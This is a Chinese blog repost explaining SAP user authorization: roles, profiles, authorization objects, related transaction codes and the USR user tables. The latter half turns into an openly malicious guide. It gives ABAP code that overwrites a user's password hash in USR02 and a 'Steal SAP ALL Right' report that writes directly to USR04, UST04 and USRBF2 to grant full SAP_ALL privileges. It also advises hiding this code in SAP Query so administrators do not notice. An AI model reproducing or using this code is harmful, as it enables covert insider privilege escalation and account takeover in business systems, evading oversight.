ITPub博客

首页 > 数字化转型 > ERP > SAP 用户权限

SAP 用户权限

原创 ERP 作者:guyuexue 时间:2007-11-21 13:24:41 0 删除 编辑

===========================================================
作者 zhujianfu(httpblog.itpub.netzhujianfu)
发表于2005.01.21 1238
分类
出处:httpblog.itpub.netpost50714854
---------------------------------------------------------------

用户权限解剖

通常basis会使用PFCG做权限管理,时你保存时会产生一个系统外的prifile name,
记得SU01时用户有profile 和role两栏位吗它们的关系如何呢

首先明白几个概念.
1.activity
这样说吧,我们从activity谈起,activity是什么意思这个你查下
字典也就知道了,对就是规定可做什么动作,比如说不能吸烟只能喝酒,不能多于2两,
不对,这是我老婆讲的,SAP不是这样子的,是只能insert, update,display什么的.
这些东西当年德国佬是写在tobj表中的.
activity 也是可分activity group的.

2.activity category &Authorization group
Role Vs Profile
你看看表T020就知道了,就是什么K,D, A, M什么的.

profile是什么呢实际上可以理解为所有的authorization data(有很多authorization group--{你可使用OBA7填写,
权限太细也不是好事^_^}和activity组成)的一个集合的名字,通常一个自定义的role产
生一个profile,SAP权限控制是根据profile里的authorization data(objects)来控制的.

role又是什么呢role只是一个名字而已,然后将profile赋予给它, 比如你SU01建立一个
用户,我没有任何role,但是加如SAP_All profile
也是可做任何事情.
SAP本身有很多default role & profile.


3.最常用的PFCG-authorizations-change authorization data-
进入后选取selection criteria 可看到所有的authorization object
manually可手工加authorization object,比如你使用某个t-code权限出错误,abap使用SU53检查就
知道缺少哪个authorization objec,然后手工加入就可以.
你选去authorization levels就可by account type再细分权限.
有些甚至直接到表字段.而且你甚至可給一个object分配缓存buffer.

那么SAP是如何做到权限控制的呢,屠夫就用到小宰一下.

4.关于权限方面的几个t-code.

(一)Role(角色)相关T-code
PFAC 标准
PFAC_CHG 改变
PFAC_DEL 删除
PFAC_DIS 显示
PFAC_INS 新建
PFAC_STR
PFCG 创建
ROLE_CMP 比较
SUPC 批量建立角色profile
SWUJ 测试
SU03 检测authorzation data
SU25, SU26 检查updated profile
(二)建立用户相关T-code
SU0
SU01
SU01D
SU01_NAV
SU05
SU50, Su51, SU52
SU1
SU10 批量
SU12 批量
SUCOMP维护用户公司地址
SU2 change用户参数
SUIM 用户信息系统
用户组
SUGR维护
SUGRD显示
SUGRD_NAV还是维护
SUGR_NAV还是显示

(三)关于profile&Authoraztion Data
SU02直接创建profile不用role
SU20细分Authorization Fields

SU21(SU03)维护Authorization Objects(TOBJ,USR12).
对于凭证你可细分到
F_BKPF_BED Accounting Document Account Authorization for Customers
F_BKPF_BEK Accounting Document Account Authorization for Vendors
F_BKPF_BES Accounting Document Account Authorization for GL Accounts
F_BKPF_BLA Accounting Document Authorization for Document Types
F_BKPF_BUK Accounting Document Authorization for Company Codes
F_BKPF_BUP Accounting Document Authorization for Posting Periods
F_BKPF_GSB Accounting Document Authorization for Business Areas
F_BKPF_KOA Accounting Document Authorization for Account Types
F_BKPF_VW Accounting Document Change Default Values for Doc.TypePsKy
然后你进去还可细分,这些个东西是save在USR12表中的. 在DB层是UTAB.

对具体transaction code细分
SU22,SU24
SU53 就是你出错用来检查没有那些authoraztion objects.
SU56分析authoraztion data buffers.
SU87用来检查用户改变产生的history
SU96,SU97,SU98,SU99干啥的
SUPC批量产生role

DB和logical层
SUKRITransaction Combinations Critical for Security
tables
TOBJ All avaiable authorzation objects.(全在此)
USR12 用户级authoraztion值
-----------------------------
USR01主数据
USR02密码在此
USR04授权在此
USR03User address data
USR05User Master Parameter ID
USR06Additional Data per User
USR07Objectvalues of last authorization check that failed
USR08Table for user menu entries
USR09Entries for user menus (work areas)
USR10User master authorization profiles
USR11User Master Texts for Profiles (USR10)
USR12User master authorization values
USR13Short Texts for Authorizations
USR14Surchargeable Language Versions per User
USR15External User Name
USR16Values for Variables for User Authorizations
USR20Date of last user master reorganization
USR21Assign user name address key
USR22Logon data without kernel access
USR30Additional Information for User Menu
USR40Table for illegal passwords
USR41当前用户
USREFUS
USRBF2
USRBF3
UST04User Profile在此
UST10C Composite profiles
UST10S Single profiles (角色对应的
UST12 Authorizations..............................

..............................
如何窃取权限

..............................


用户
User type用户类型(干啥用的不讲)
通常的用户类型有
a.dialog (就是normal user)
b.communication
c.system
d.service
e.reference.

通常你在使用任何T-code前一定会有权限检测的.
AUTHORITY_CHECK这个函数只是小检查一下你的user有没有,什么时候过期.
如果coding只要使用此函数就够了.
AUTHORITY_CHECK_TCODE检查T-code

这倆函数是真正检查autorization objects的.
SUSR_USER_AUTH_FOR_OBJ_GET
AUTHORIZATION_DATA_READ_SELOBJ
------------------------------------------
将SAP的密码改成123的程序,很简单.
我们找到那个user logon表USR02.
(DF52478E6FF90EEB是经过SAP加密保存在DB的,哪位老兄研究过SAP的密码加密)
report zmodSAP.
data zUSR02 like USR02 .
select single into zUSR02 from USR02
where BNAME = 'SAP'.
zUSR02-Bcode = 'DF52478E6FF90EEB' .
Update USR02 from zUSR02 .

现在的问题是如何让你那basis不发现,很简单,将code隐藏在Query里面,就是说你做一个
query,query是会产生code的,然后你加入此代码,谁能想到然后你就等你的basis去哭...

这样做太狠毒了.还是自己偷偷搞自己的用户吧.
在此你必须对权限结构非常清晰.
权限和三个表有关系.
a.USR04
b.USR04
c.USRBF2 这个表是对应到所用的authorzization objects的.
&---------------------------------------------------------------------
& Report Steal SAP ALL Right
& Creation Date 2004.04.01
& Created by Stone.Fu
& Description 可窃取SAP ALL权限
& Modified Date 2005.11.02
& Description 将此code hide在report painter or query code
&---------------------------------------------------------------------

report zrightsteal.
data zUSR04 like USR04 . work area
data zUST04 like USR04 .
data zPROFS like USR04-PROFS.
data ZUSRBF2 like USRBF2 occurs 0 with header line.
USRBF2internal table
Update Authorization table USR04.
select single into zUSR04 from USR04
where BNAME = 'ZABC2'. SAP All 权限
move 'C SAP_ALL' to zPROFS .
ZUSR04-NRPRO = '14'.
zUSR04-PROFS = zPROFS.
Update USR04 from zUSR04 .

Update User authorization masters table UST04 .
select single into zUST04 from UST04
where BNAME = 'ZABC2'.
zUST04-PROFILE = 'SAP_ALL'. SAP all 权限
Update UST04 from zUST04 .

insert
ZUST04-MANDT = '200'.
ZUST04-BNAME = 'ZABC2'.
ZUST04-PROFILE = 'SAP_ALL'.
Insert UST04 from ZUST04 .

select from USRBF2 into table ZUSRBF2
where BNAME = 'SAP' .
Loop at ZUSRBF2.
ZUSRBF2-BNAME = 'ZABC2'.
Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.

自己建立一个ztest用户不给它任何权限然后在test machine上run 报表zrightsteal.

然后ztest就是SAP_ALL了, 然后你将code hide在SQP query的code中. ABAP code太容易被人发现. K, 现在我碰到一个大问题了, 记帐程序被改的出了问题..

[@more@]

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/503782/viewspace-983140/,如需转载,请注明出处,否则将追究法律责任。

上一篇: 破解SAP4.6 and 4.7
请登录后发表评论 登录
全部评论
  • 博文量
    87
  • 访问量
    530441